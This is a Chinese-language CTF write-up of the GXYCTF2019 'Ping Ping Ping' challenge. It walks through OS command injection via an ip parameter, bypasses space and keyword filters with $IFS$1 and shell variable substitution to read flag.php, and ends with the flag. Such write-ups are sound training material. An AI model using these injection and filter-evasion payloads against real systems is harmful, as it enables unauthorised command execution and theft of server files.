[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping

1、给了一个IP参数,题目写着ping,在IP后面填入127.0.0.1,进行ping测试

?ip=127.0.0.1

成功ping通

2、利用堆叠查询

URL?ip=127.0.0.1;ls

找到了flag.php,但是这道题真的会这么简单吗

3、进行尝试

URL?ip=127.0.0.1;cat flag.php

发现空格被过滤了

直接输入flag.php,看看行不行

URL?ip=127.0.0.1;flag.php

flag也被过滤了

尝试一下字符串行不行

URL?ip=127.0.0.1;/

字符串也被过滤了,这道题过滤的东西还是挺多的

4、尝试绕过空格过滤

URL?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

payload解释:

利用Web应用程序中的命令注入漏洞,读取服务器上的敏感文件,在这里读取的是flag.php

URL?

执行ping命令但是分隔符后面的命令不管前面的命令是否执行成功,都会执行后面的内容

ip=127.0.0.1;

a是一个参数名,并赋值g参数给他

a=g;

cat读取后面的文件,输出内容

cat$IFS$1fla$a.php
$IFS //全称是Internal Field Separator(内部字段分隔符),包含三个字符:空格(Space)、制表符(Tab)、换行符(Newline),我们现在使用它是为了绕过空格过滤

$1 //为了让系统在识别变量名的时候停下来,再次进行下一个识别,由于系统是通过识别$开始识别变量名,所以前面识别$IFS后,如果没有非法字符,就会一直识别读取,读到非法字符才会停止,但是由于没有$IFSflag这个变量名,返回为空,最后变成这样:cat .php,报错

//当系统读取到$1时,知道前面的变量名结束了,开始读取下一个变量名,$1是一个内置变量名,值为空,最后的结果是:cat flag.php

fla$a.php //$a是一个自定义的变量名,当读取到时,由于前面g赋值给变量名a,$a就会替换为g,最后输出完整结果为:flag.php

flag{9730a11f-f858-4a88-aebc-870aa18f48bd}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇